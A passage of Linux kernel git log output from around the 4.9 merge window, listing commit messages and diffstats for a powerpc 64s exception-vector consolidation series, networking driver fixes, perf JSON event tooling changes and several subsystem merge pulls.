was missing, add it. This prevents more vectors to be allocated than available. Signed-off-by: Stefan Assmann Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 27 ++++++++++++++++----------- 1 file changed, 16 insertions(+), 11 deletions(-) commit e0319829a9f2be5866fba2ba7818cb20b13b0817 Author: Nicholas Piggin Date: Wed Sep 21 17:44:07 2016 +1000 powerpc/64s: Remove unused exception code, small cleanups This was not done before the big patches because I only noticed them afterwards. It has become much easier to see which handlers are branched to from which exception vectors now, and to see exactly what vector space is being used for what. Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 30 ++++++++++++++++++++---------- 1 file changed, 20 insertions(+), 10 deletions(-) commit a33532af18e7c0c775cf70a15dbc5602d371e880 Author: Nicholas Piggin Date: Wed Sep 21 17:44:06 2016 +1000 powerpc/64s: Use a single macro for both parts of OOL exception Simple substitution. This is possible now that both parts of the OOL initial handler get linked into their correct location. Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 55 ++++++++++++------------------------ 1 file changed, 18 insertions(+), 37 deletions(-) commit 0f0c6ca1945b2d20dc493e3dd36dc3e6621ccd5f Author: Nicholas Piggin Date: Wed Sep 21 17:44:05 2016 +1000 powerpc/64s: Move __replay_interrupt function below handlers This is not an exception handler as such, it's called from local_irq_enable(), not exception entry. Also clean up some now redundant comments at the end of the consolidation series. Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 74 ++++++++++++++++++------------------ 1 file changed, 36 insertions(+), 38 deletions(-) commit 3965f8ab77e378339b71eb13b0b90516e6ef91ae Author: Nicholas Piggin Date: Wed Sep 21 17:44:04 2016 +1000 powerpc/64s: Consolidate CBE Thermal 0x1800 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 15 ++------------- 1 file changed, 2 insertions(+), 13 deletions(-) commit b51c079ed4dcc321010110a3514f09d5fcd01a01 Author: Nicholas Piggin Date: Wed Sep 21 17:44:03 2016 +1000 powerpc/64s: Consolidate Altivec 0x1700 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) commit 69a793444c7a159e66ee3a0a407a2dad7ef5d116 Author: Nicholas Piggin Date: Wed Sep 21 17:44:02 2016 +1000 powerpc/64s: Consolidate Debug 0x1600 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit d7e898491c6f5d363c2528351254e8499aef5dd3 Author: Nicholas Piggin Date: Wed Sep 21 17:44:01 2016 +1000 powerpc/64s: Consolidate Softpatch 0x1500 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 72 ++++++++++++++++++------------------ 1 file changed, 37 insertions(+), 35 deletions(-) commit 4e96dbbfe3dc165c02c5760599c4fab1dd019276 Author: Nicholas Piggin Date: Wed Sep 21 17:44:00 2016 +1000 powerpc/64s: Consolidate Instruction Breakpoint 0x1300 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit ff1b32064012be5458eb0ce8f88af24b329770b7 Author: Nicholas Piggin Date: Wed Sep 21 17:43:59 2016 +1000 powerpc/64s: Consolidate CBE System Error 0x1200 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit e46b964c1a5f15fc2b8b838099f748e4b84dd339 Author: Nicholas Piggin Date: Wed Sep 21 17:43:58 2016 +1000 powerpc/64s: Consolidate Reserved 0xfa0-0x1200 interrupts Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 14b0072cfd3c7e894c3b823f54a65e5eae942c46 Author: Nicholas Piggin Date: Wed Sep 21 17:43:57 2016 +1000 powerpc/64s: Consolidate Hypervisor Facility Unavailable 0xf80 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) commit 1134713c26330ddf554122dae260e4d1546514a7 Author: Nicholas Piggin Date: Wed Sep 21 17:43:56 2016 +1000 powerpc/64s: Consolidate Facility Unavailable 0xf60 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) commit 792cbddd628282027f99f5499f2899613e07f8f9 Author: Nicholas Piggin Date: Wed Sep 21 17:43:55 2016 +1000 powerpc/64s: Consolidate VSX Unavailable 0xf40 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 74 ++++++++++++++++++------------------ 1 file changed, 36 insertions(+), 38 deletions(-) commit d1a0ca9c8bdadb76f08e80f6ebf9f64a69f5b6d1 Author: Nicholas Piggin Date: Wed Sep 21 17:43:54 2016 +1000 powerpc/64s: Consolidate Vector Unavailable 0xf20 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 76 ++++++++++++++++++------------------ 1 file changed, 37 insertions(+), 39 deletions(-) commit b1c7f150a98ed6a55d8902dcda827b4aff1b33a7 Author: Nicholas Piggin Date: Wed Sep 21 17:43:53 2016 +1000 powerpc/64s: Consolidate Performance Monitor 0xf00 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) commit bda7fea2b8f5cd8ea96cfe5080ad3951588712b9 Author: Nicholas Piggin Date: Wed Sep 21 17:43:52 2016 +1000 powerpc/64s: Consolidate Reserved 0xec0, 0xee0 interrupts Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 74408776752ae5af0f7ebdd7fc4c35aa51c88e48 Author: Nicholas Piggin Date: Wed Sep 21 17:43:51 2016 +1000 powerpc/64s: Consolidate Hypervisor Virtualization 0xea0 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) commit 9bcb81bf6882cebb686fc4c99e9c824908e1909d Author: Nicholas Piggin Date: Wed Sep 21 17:43:50 2016 +1000 powerpc/64s: Consolidate Directed Hypervisor Doorbell 0xe80 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) commit 62f9b03b06b12926d6b8986e382a5cec6cd2bb8b Author: Nicholas Piggin Date: Wed Sep 21 17:43:49 2016 +1000 powerpc/64s: Consolidate Hypervisor Maintenance 0xe60 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 113 +++++++++++++++++------------------ 1 file changed, 56 insertions(+), 57 deletions(-) commit 031b4026a8e3a3340e6b99ba7e167c2d6bb4e498 Author: Nicholas Piggin Date: Wed Sep 21 17:43:48 2016 +1000 powerpc/64s: Consolidate Hypervisor Emulation Assistance 0xe40 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) commit 82517cabc5d029a126fbe914ad0789352a371bd8 Author: Nicholas Piggin Date: Wed Sep 21 17:43:47 2016 +1000 powerpc/64s: Consolidate Hypervisor Instruction Storage 0xe20 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) commit f5c32c1d9a6be21bfbf9aada0e6cba8a5780c967 Author: Nicholas Piggin Date: Wed Sep 21 17:43:46 2016 +1000 powerpc/64s: Consolidate Hypervisor Data Storage 0xe00 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 42 ++++++++++++++++-------------------- 1 file changed, 18 insertions(+), 24 deletions(-) commit bc6675c6087e7120585333e0bcffe40d64394431 Author: Nicholas Piggin Date: Wed Sep 21 17:43:45 2016 +1000 powerpc/64s: Consolidate Trace 0xd00 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit d807ad37e8016b1e7220d455f24c5ad1450c6426 Author: Nicholas Piggin Date: Wed Sep 21 17:43:44 2016 +1000 powerpc/64s: Consolidate System Call 0xc00 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 121 ++++++++++++++++++----------------- 1 file changed, 61 insertions(+), 60 deletions(-) commit 341215dc12d0209538fe49397039acd37b1bc2ea Author: Nicholas Piggin Date: Wed Sep 21 17:43:43 2016 +1000 powerpc/64s: Consolidate Reserved 0xb00 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit ca2431633b414d112c39ec69d85d96f090e49453 Author: Nicholas Piggin Date: Wed Sep 21 17:43:42 2016 +1000 powerpc/64s: Consolidate Directed Privileged Doorbell 0xa00 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit facc6d742428909842bf8ff4cd3abed976fbc123 Author: Nicholas Piggin Date: Wed Sep 21 17:43:41 2016 +1000 powerpc/64s: Consolidate Hypervisor Decrementer 0x980 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 39c0da57a97456bb56b675545395fc99c97f3f64 Author: Nicholas Piggin Date: Wed Sep 21 17:43:40 2016 +1000 powerpc/64s: Consolidate Decrementer 0x900 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit c78d9b97473149244f0f1e4eb58d8e5d11a5761f Author: Nicholas Piggin Date: Wed Sep 21 17:43:39 2016 +1000 powerpc/64s: Consolidate FP Unavailable 0x800 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 61 ++++++++++++++++++------------------ 1 file changed, 30 insertions(+), 31 deletions(-) commit 11e87346b9b885f3b088efb6afda604e91233026 Author: Nicholas Piggin Date: Wed Sep 21 17:43:38 2016 +1000 powerpc/64s: Consolidate Program 0x700 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) commit f9aa67142ef2697990d1f36aa3d59320820bcfae Author: Nicholas Piggin Date: Wed Sep 21 17:43:37 2016 +1000 powerpc/64s: Consolidate Alignment 0x600 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 35 +++++++++++++++++------------------ 1 file changed, 17 insertions(+), 18 deletions(-) commit c138e58890dd5128a5706ed30c5deab6736320d6 Author: Nicholas Piggin Date: Wed Sep 21 17:43:36 2016 +1000 powerpc/64s: Consolidate External 0x500 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 24 +++++++++++++----------- 1 file changed, 13 insertions(+), 11 deletions(-) commit 8d04631ad7cbbe27d058ae79e3d41009a8e006d1 Author: Nicholas Piggin Date: Wed Sep 21 17:43:35 2016 +1000 powerpc/64s: Consolidate Instruction Segment 0x480 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 224 ++++++++++++++++++----------------- 1 file changed, 113 insertions(+), 111 deletions(-) commit 27ce77df60662fc7bd9cd86e980926e6bc6b54ee Author: Nicholas Piggin Date: Wed Sep 21 17:43:34 2016 +1000 powerpc/64s: Consolidate Instruction Storage 0x400 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 35 ++++++++++++++++++----------------- 1 file changed, 18 insertions(+), 17 deletions(-) commit 2b9af6e40e477fbfe39777dda9a609ae359d3dd8 Author: Nicholas Piggin Date: Wed Sep 21 17:43:33 2016 +1000 powerpc/64s: Consolidate Data Segment 0x380 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 50 ++++++++++++++++++------------------ 1 file changed, 25 insertions(+), 25 deletions(-) commit 80795e6cbed51cc3bebeb016ba14f0cbb811386f Author: Nicholas Piggin Date: Wed Sep 21 17:43:32 2016 +1000 powerpc/64s: Consolidate Data Storage 0x300 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 53 ++++++++++++++++++------------------ 1 file changed, 27 insertions(+), 26 deletions(-) commit afcf009548982461c65cce787b6a374a4058d7a5 Author: Nicholas Piggin Date: Wed Sep 21 17:43:31 2016 +1000 powerpc/64s: Consolidate Machine Check 0x200 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 659 +++++++++++++++++------------------ 1 file changed, 329 insertions(+), 330 deletions(-) commit 582baf44f9ad6029591b295d674d86a624e50ede Author: Nicholas Piggin Date: Wed Sep 21 17:43:30 2016 +1000 powerpc/64s: Consolidate System Reset 0x100 interrupt Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) commit 57f266497d81e16141bd2c9009e91dad34ea5f70 Author: Nicholas Piggin Date: Wed Sep 28 11:31:48 2016 +1000 powerpc: Use gas sections for arranging exception vectors Use assembler sections of fixed size and location to arrange the 64-bit Book3S exception vector code (64-bit Book3E also uses it in head_64.S for 0x0..0x100). This allows better flexibility in arranging exception code and hiding unimportant details behind macros. Gas sections can be a bit painful to use this way, mainly because the assembler does not know where they will be finally linked. Taking absolute addresses requires a bit of trickery for example, but it can be hidden behind macros for the most part. Generated code is mostly the same except locations, offsets, alignments. The "+ 0x2" is only required for the trap number / kvm exit number, which gets loaded as a constant into a register. Previously, code also used + 0x2 for label names, but we changed to using "H" to distinguish HV case for that. Remove the last vestiges of that. __after_prom_start is taking absolute address of a label in another fixed section. Newer toolchains seemed to compile this okay, but older ones do not. FIXED_SYMBOL_ABS_ADDR is more foolproof, it just takes an additional line to define. Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/include/asm/exception-64s.h | 2 +- arch/powerpc/include/asm/head-64.h | 261 +++++++++++++++++++++++++++++-- arch/powerpc/kernel/exceptions-64s.S | 111 +++++++++---- arch/powerpc/kernel/head_64.S | 44 ++++-- arch/powerpc/kernel/vmlinux.lds.S | 53 ++++++- 5 files changed, 404 insertions(+), 67 deletions(-) commit 573819e3433278cde17e7b93e101e59e96f19ccf Author: Nicholas Piggin Date: Wed Sep 28 11:31:47 2016 +1000 powerpc/64: Change the way relocation copy is calculated With a subsequent patch to put text into different sections, (_end - _stext) can no longer be computed at link time to determine the end of the copy. Instead, calculate it at runtime with (copy_to_here - _stext) + (_end - copy_to_here). Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/head_64.S | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit be642c3457e75983be6f1f4bddcc77c9e2ed4650 Author: Nicholas Piggin Date: Wed Sep 21 17:43:28 2016 +1000 powerpc/64s: Consolidate exception handler alignment Move exception handler alignment directives into the head-64.h macros, beause they will no longer work in-place after the next patch. This slightly changes functions that have alignments applied and therefore code generation, which is why it was not done initially (see earlier patch). Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/include/asm/head-64.h | 1 + arch/powerpc/kernel/exceptions-64s.S | 36 ------------------------------------ 2 files changed, 1 insertion(+), 36 deletions(-) commit da2bc4644c75d992427c45c5ade3bdf18ca1b52d Author: Michael Ellerman Date: Fri Sep 30 19:43:18 2016 +1000 powerpc/64s: Add new exception vector macros Create arch/powerpc/include/asm/head-64.h with macros that specify an exception vector (name, type, location), which will be used to label and lay out exceptions into the object file. Naming is moved out of exception-64s.h, which is used to specify the implementation of exception handlers. objdump of generated code in exception vectors is unchanged except for names. Alignment directives scattered around are annoying, but done this way so that disassembly can verify identical instruction generation before and after patch. These get cleaned up in future patch. We change the way KVMTEST works, explicitly passing EXC_HV or EXC_STD rather than overloading the trap number. This removes the need to have SOFTEN values for the overloaded trap numbers, eg. 0x502. Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/include/asm/exception-64s.h | 135 +++---- arch/powerpc/include/asm/head-64.h | 163 +++++++++ arch/powerpc/kernel/exceptions-64s.S | 597 +++++++++++++++---------------- 3 files changed, 504 insertions(+), 391 deletions(-) commit b9118b7221ebb12156d2b08d4d5647bc6076d6bb Author: Christophe Jaillet Date: Sun Oct 2 09:04:16 2016 +0200 ptp: Fix resource leak in case of error A call to 'ida_simple_remove()' is missing in the error handling path. This as been spotted with the following coccinelle script which tries to detect missing 'ida_simple_remove()' call in error handling paths. /////////////// @@ expression x; identifier l; @@ * x = ida_simple_get(...); ... if (...) { ... } ... if (...) { ... goto l; } ... * l: ... when != ida_simple_remove(...); Signed-off-by: Christophe JAILLET Acked-by: Richard Cochran Signed-off-by: David S. Miller drivers/ptp/ptp_clock.c | 1 + 1 file changed, 1 insertion(+) commit 0fd7d43fbc4aaf358005231a6bed27eb1c2f60c3 Author: Wei Yongjun Date: Sat Oct 1 09:12:29 2016 +0000 net: qcom/emac: fix return value check in emac_sgmii_config() In case of error, the function ioremap() returns NULL pointer not ERR_PTR(). The IS_ERR() test in the return value check should be replaced with NULL test. Also add check for return value of platform_get_resource(). Fixes: 54e19bc74f33 ("net: qcom/emac: do not use devm on internal phy pdev") Signed-off-by: Wei Yongjun Acked-by: Timur Tabi Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/emac/emac-sgmii.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit b6a7920848cab619b5e434fdc0338778c63ef3f3 Author: Shmulik Ladkani Date: Thu Sep 29 12:10:41 2016 +0300 net: skbuff: Limit skb_vlan_pop/push() to expect skb->data at mac header skb_vlan_pop/push were too generic, trying to support the cases where skb->data is at mac header, and cases where skb->data is arbitrarily elsewhere. Supporting an arbitrary skb->data was complex and bogus: - It failed to unwind skb->data to its original location post actual pop/push. (Also, semantic is not well defined for unwinding: If data was into the eth header, need to use same offset from start; But if data was at network header or beyond, need to adjust the original offset according to the push/pull) - It mangled the rcsum post actual push/pop, without taking into account that the eth bytes might already have been pulled out of the csum. Most callers (ovs, bpf) already had their skb->data at mac_header upon invoking skb_vlan_pop/push. Last caller that failed to do so (act_vlan) has been recently fixed. Therefore, to simplify things, no longer support arbitrary skb->data inputs for skb_vlan_pop/push(). skb->data is expected to be exactly at mac_header; WARN otherwise. Signed-off-by: Shmulik Ladkani Cc: Daniel Borkmann Cc: Pravin Shelar Cc: Jiri Pirko Signed-off-by: David S. Miller net/core/skbuff.c | 37 ++++++++++++++++++++++--------------- 1 file changed, 22 insertions(+), 15 deletions(-) commit f39acc84aad10710e89835c60d3b6694c43a8dd9 Author: Shmulik Ladkani Date: Thu Sep 29 12:10:40 2016 +0300 net/sched: act_vlan: Push skb->data to mac_header prior calling skb_vlan_*() functions Generic skb_vlan_push/skb_vlan_pop functions don't properly handle the case where the input skb data pointer does not point at the mac header: - They're doing push/pop, but fail to properly unwind data back to its original location. For example, in the skb_vlan_push case, any subsequent 'skb_push(skb, skb->mac_len)' calls make the skb->data point 4 bytes BEFORE start of frame, leading to bogus frames that may be transmitted. - They update rcsum per the added/removed 4 bytes tag. Alas if data is originally after the vlan/eth headers, then these bytes were already pulled out of the csum. OTOH calling skb_vlan_push/skb_vlan_pop with skb->data at mac_header present no issues. act_vlan is the only caller to skb_vlan_*() that has skb->data pointing at network header (upon ingress). Other calles (ovs, bpf) already adjust skb->data at mac_header. This patch fixes act_vlan to point to the mac_header prior calling skb_vlan_*() functions, as other callers do. Signed-off-by: Shmulik Ladkani Cc: Daniel Borkmann Cc: Pravin Shelar Cc: Jiri Pirko Signed-off-by: David S. Miller net/sched/act_vlan.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 5e1b834b27fb2c27cde33a0752425f11d10c0b2d Merge: 49deffe b536fd5 Author: Linus Torvalds Date: Mon Oct 3 18:09:13 2016 -0700 Merge branch 'timers-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull timer updates from Thomas Gleixner: "A rather smalish set of updates for timers and timekeeping: - Two core fixes to prevent potential undefinded behaviour about which gcc is complaining rightfully. - A fix to prevent stopping the tick on an (soon) offline CPU so it can complete the shutdown procedure. - Wait for clocks to stabilize before making decisions, so a not yet validated clock is not rejected. - The usual pile of fixes to the various clocksource drivers. - Core code typo and include fixlets" * 'timers-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: timekeeping: Include the correct header for errno definitions clocksource/drivers/ti-32k: Prevent ftrace recursion clocksource/mips-gic-timer: Stop checking cpu_has_counter clocksource/mips-gic-timer: Print an error if IRQ setup fails tick/nohz: Prevent stopping the tick on an offline CPU clocksource/drivers/oxnas: Add OX820 compatible clocksource/drivers/timer-atmel-pit: Simplify IRQ handler clocksource/drivers/timer-atmel-pit: Remove uselesss WARN_ON_ONCE clocksource/drivers/timer-atmel-pit: Drop at91sam926x_pit_common_init clocksource/drivers/moxart: Replace panic by pr_err clocksource/drivers/moxart: Replace setup_irq by request_irq clocksource/drivers/moxart: Add Aspeed support clocksource/drivers/moxart: Use struct to hold state clocksource/drivers/moxart: Refactor enable/disable time: Avoid undefined behaviour in ktime_add_safe() time: Avoid undefined behaviour in timespec64_add_safe() timekeeping: Prints the amounts of time spent during suspend clocksource: Defer override invalidation unless clock is unstable hrtimer: Spelling fixes commit 49deffe0b0e4c2030696c7a6fd680bacf4761069 Merge: 5419e78 ef25bac Author: Linus Torvalds Date: Mon Oct 3 18:02:47 2016 -0700 Merge tag 'arc-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/vgupta/arc Pull ARC updates from Vineet Gupta: - ARCv2 support for native 64-bit atomics using LLOCK/SCONDD instructions - Support for upcoming 3.0 release of HS38 cores - Dwarf unwindinder improvements: - enable unwinding of hand written assembler code using CFI pseudo-ops - switch to .eh_frame (as opposed to historic .debug_frame) - get rid of a bunch of adhoc band-aids in the process - Misc fixes: - perf supporting generic cache-references and cache-misses (Alexey) - default NODE_SHIFT (Noam Camus) - usage of KFLAG instruction to set IE (Yuriy) - Platforms: - Add "model" property across the DT (Alexey) - Enable MODULE_* in defconfigs * tag 'arc-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/vgupta/arc: ARC: [plat*] enables MODULE* ARCv2: fix local_save_flags ARC: CONFIG_NODES_SHIFT fix default values ARCv2: intc: Use kflag if STATUS32.IE must be reset ARC: .exit.* sections can be discarded in .eh_frame regime ARC: dw2 unwind: enable cfi pseudo ops in string lib ARC: dw2 unwind: add infrastructure for adding cfi pseudo ops to asm ARC: entry: make ret_from_system_call local label ARC: dw2 unwind: don't force dwarf 2 ARC: dw2 unwind: switch to .eh_frame based unwinding ARC: dw2 unwind: factor CIE specifics for .eh_frame/.debug_frame ARC: module: support R_ARC_32_PCREL relocation arc: perf: Enable generic "cache-references" and "cache-misses" events ARC: [plat-eznps] add missing atomic_fetch_xxx operations ARCv2: Implement atomic64 based on LLOCKD/SCONDD instructions ARCv2: Support dynamic peripheral address space in HS38 rel 3.0 cores ARCv2: identify HS38 rel 3.0 cores ARCv2: Add support for ZeBu Emulation platform for HS cores arc: Add "model" properly in device tree description of all boards commit 5419e783829127dba712be769bce8c6a1ec0057e Merge: 8e4ef63 6736e65 Author: Linus Torvalds Date: Mon Oct 3 17:59:24 2016 -0700 Merge tag 'm68k-for-v4.9-tag1' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/linux-m68k Pull m68k updates from Geert Uytterhoeven: - cleanups - defconfig updates - GPG fingerprint update * tag 'm68k-for-v4.9-tag1' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/linux-m68k: m68k: Migrate exception table users off module.h and onto extable.h CREDITS: Update fingerprint for Geert Uytterhoeven m68k: Use IS_ENABLED() instead of checking for built-in or module m68k/defconfig: Update defconfigs for v4.8-rc1 commit b42c7369e3f451e22c2b0be5d193955498d37546 Author: Andi Kleen Date: Thu Sep 15 15:24:55 2016 -0700 perf pmu-events: Add Skylake frontend MSR support Add support for the "frontend" extra MSR on Skylake in the JSON conversion. Signed-off-by: Andi Kleen Acked-by: Ingo Molnar Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-19-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/pmu-events/jevents.c | 1 + 1 file changed, 1 insertion(+) commit 0b1db474314c883d0bfc6720278667a6155e995a Author: Andi Kleen Date: Thu Sep 15 15:24:54 2016 -0700 perf pmu-events: Fix fixed counters on Intel The JSON event lists use a different encoding for fixed counters than perf for instructions and cycles (ref-cycles is ok) This lead to some common events like inst_retired.any or cpu_clk_unhalted.thread not counting, when specified with their JSON name. Special case these events in the jevents conversion process. I prefer to not touch the JSON files for this, as it's intended that standard JSON files can be just dropped into the perf build without changes. Signed-off-by: Andi Kleen Signed-off-by: Sukadev Bhattiprolu [Fix minor compile error] Acked-by: Ingo Molnar Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-18-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/pmu-events/jevents.c | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) commit e312bcf13053970c0f07ec2c02d7d9be1a036ce0 Author: Andi Kleen Date: Thu Sep 15 15:24:53 2016 -0700 perf tools: Make alias matching case-insensitive Make alias matching the events parser case-insensitive. This is useful with the JSON events. perf uses lower case events, but the CPU manuals generally use upper case event names. The JSON files use lower case by default too. But if we search case insensitively then users can cut-n-paste the upper case event names. So the following works: % perf stat -e BR_INST_EXEC.TAKEN_INDIRECT_NEAR_CALL true Performance counter stats for 'true': 305 BR_INST_EXEC.TAKEN_INDIRECT_NEAR_CALL 0.000492799 seconds time elapsed Signed-off-by: Andi Kleen Acked-by: Ingo Molnar Tested-by: Arnaldo Carvalho de Melo Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-17-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/parse-events.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 06835545b144cab6e7748748576145ea15f68dff Author: Sukadev Bhattiprolu Date: Thu Sep 15 15:24:56 2016 -0700 perf tools: Allow period= in perf stat CPU event descriptions. This avoids the JSON PMU events parser having to know whether its aliases are for perf stat or perf record. Signed-off-by: Andi Kleen Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-20-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/parse-events.c | 1 + 1 file changed, 1 insertion(+) commit d82718e348fee15dbce8f578ff2588982b7cc7ca Author: Al Viro Date: Sat Sep 17 22:56:25 2016 -0400 fuse_dev_splice_read(): switch to add_to_pipe() Signed-off-by: Al Viro fs/fuse/dev.c | 46 +++++++++------------------------------------- 1 file changed, 9 insertions(+), 37 deletions(-) commit 25869262ef7af24ccde988867ac3eb1c3d4b88d4 Author: Al Viro Date: Sat Sep 17 21:02:10 2016 -0400 skb_splice_bits(): get rid of callback since pipe_lock is the outermost now, we don't need to drop/regain socket locks around the call of splice_to_pipe() from skb_splice_bits(), which kills the need to have a socket-specific callback; we can just call splice_to_pipe() and be done with that. Signed-off-by: Al Viro include/linux/skbuff.h | 8 +------- net/core/skbuff.c | 28 ++-------------------------- net/ipv4/tcp.c | 3 +-- net/kcm/kcmsock.c | 16 +--------------- net/unix/af_unix.c | 17 +---------------- 5 files changed, 6 insertions(+), 66 deletions(-) 